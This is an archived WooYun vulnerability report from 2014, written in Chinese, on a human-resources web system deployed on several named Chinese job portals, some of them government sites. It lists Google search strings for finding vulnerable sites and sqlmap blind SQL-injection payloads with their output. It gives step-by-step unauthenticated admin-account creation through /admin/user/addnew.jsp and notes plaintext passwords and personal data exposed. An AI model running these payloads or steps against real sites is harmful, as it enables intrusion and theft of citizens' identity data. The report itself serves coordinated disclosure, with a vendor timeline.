当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-068614

漏洞标题:某人力资源系统多处SQL注射/目录遍历/越权访问添加管理员(用户密码明文存储)

相关厂商:cncert国家互联网应急中心

漏洞作者:

提交时间:2014-07-17 16:46

修复时间:2014-10-15 16:50

公开时间:2014-10-15 16:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-17: 细节已通知厂商并且等待厂商处理中
2014-07-22: 厂商已经确认,细节仅向厂商公开
2014-07-25: 细节向第三方安全合作伙伴开放
2014-09-15: 细节向核心白帽子及相关领域专家公开
2014-09-25: 细节向普通白帽子公开
2014-10-05: 细节向实习白帽子公开
2014-10-15: 细节向公众公开

简要描述:

感觉通用的洞都是后娘生的..
提交了要等审核,漫长的审核后还要纠结是否前台..

详细说明:

WooYun: 某人力资源系统任意文件下载(多家人力资源网存在问题) 有人提交过了
cncert国家互联网应急中心确认厂商为浙江天正思维信息技术有限公司(www.zjtzsw.com)

注入点#1: google搜索 CompanyAction.do?userid
影响案例:
http://www.dqlm.com/CompanyAction.do?method=getpersoninfo&userid=P9797&psempid=P9797
http://www.lhrlzyw.com/CompanyAction.do?method=getpersoninfo&userid=P16472&psempid=P16472
http://220.176.122.18:9090/CompanyAction.do?method=getpersoninfo&userid=P3648&psempid=P3648
http://www.lhjy.gov.cn/CompanyAction.do?method=getpersoninfo&userid=P14134&psempid=P14134
http://www.zjdeqing.lm.gov.cn/CompanyAction.do?method=getpersoninfo&userid=P7794&psempid=P7794


注入点#2: google搜索 PostInfoAction.do?postid
影响案例:
http://www.lhjy.gov.cn/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://www.dqlm.com/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://www.zjdeqing.lm.gov.cn/PostInfoAction.do?method=TOPPostInfo&postid=2021400
http://www.fzjob.net:9090/PostInfoAction.do?method=TOPPostInfo&postid=1050107
http://www.lhrlzyw.com/PostInfoAction.do?method=TOPPostInfo&postid=6040101
http://220.176.122.18:9090/PostInfoAction.do?method=TOPPostInfo&postid=6040101


注入点#3: google搜索 PersonUserAction.do?cmpid
影响案例:
http://www.dqlm.com//PersonUserAction.do?method=getcompanyInfo&postid=8229&cmpid=C2839
http://www.lhrlzyw.com/PersonUserAction.do?method=getcompanyInfo&postid=2739&cmpid=C1146
http://www.zjdeqing.lm.gov.cn/PersonUserAction.do?method=getcompanyInfo&postid=7613&cmpid=C2971
http://www.fzjob.net:9090/PersonUserAction.do?method=getcompanyInfo&postid=2702&cmpid=C1681
http://220.176.122.18:9090/PersonUserAction.do?method=getcompanyInfo&postid=2781&cmpid=C2402


注入点#4: google搜索 PersonAction.do?applyid
影响案例:
http://www.dqlm.com//PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.fzjob.net:9090/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.lhrlzyw.com/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.zjdeqing.lm.gov.cn/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://220.176.122.18:9090/PersonAction.do?method=TOPlistPerson&applyid=0003020
http://www.lhjy.gov.cn/PersonAction.do?method=TOPlistPerson&applyid=0003020


以www.dqlm.com(德清人力资源网)示例一个:

---
Place: GET
Parameter: userid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=getpersoninfo&userid=P9798' AND 9467=9467 AND 'dFZb'='dFZb&p
sempid=P9798
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: method=getpersoninfo&userid=P9798' AND 2132=DBMS_PIPE.RECEIVE_MESSA
GE(CHR(80)||CHR(73)||CHR(99)||CHR(87),5) AND 'uPlj'='uPlj&psempid=P9798
---
[15:53:30] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle


available databases [21]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DQWEB
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

密码明文存储,随便跑了几个测试下登录

q1.jpg

q2.jpg


漏洞证明:

多处目录遍历:

/include/
/company/
/news/
/images/
/upload
/admin/edit/
/reg/
/admin/images/
/FCKeditor/
/admin/user/


主要说说/admin/user/目录,该目录未授权访问,可以随意添加内部用户,赋予管理员权限
如:http://www.dqlm.com/admin/user/
http://www.lhrlzyw.com/admin/user/
http://www.lhjy.gov.cn/admin/user/
http://www.zjdeqing.lm.gov.cn/admin/user/
http://www.fzjob.net:9090/admin/user/
http://220.176.122.18:9090/admin/user/
(可以自己访问一下验证通用性)

q5.jpg

目录下访问addnew.jsp可添加内部用户,然后访问select.jsp可变更用户赋权
lhjy.gov.cn (临海市人力资源网)为例:

q7.jpg

q8.jpg

访问http://www.lhjy.gov.cn/admin/user/select.jsp 点击查询,就可以看见刚才添加的用户(也可以删除,修改,权限分配其他用户)

q9.jpg

a1.jpg

全部勾选保存后我们再来登录刚才添加的帐号看看 (默认的后台登录页面为www.lhjy.gov.cn/admin/)

a2.jpg

a3.jpg

q4.jpg

a4.jpg

包括身份证,姓名,联系方式等大量个人以及单位用户敏感信息,而且是明文密码

修复方案:

可以脱裤了都,尽快处理通报涉及网站,这系统问题很多。

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-07-22 14:45

厂商回复:

CNVD仍未建立与软件生产厂商的处置渠道,按上次漏洞处置流程,转由CNCERT下发给山东和浙江分中心处置相关政府上案例。

最新状态:

暂无


漏洞评价:

评论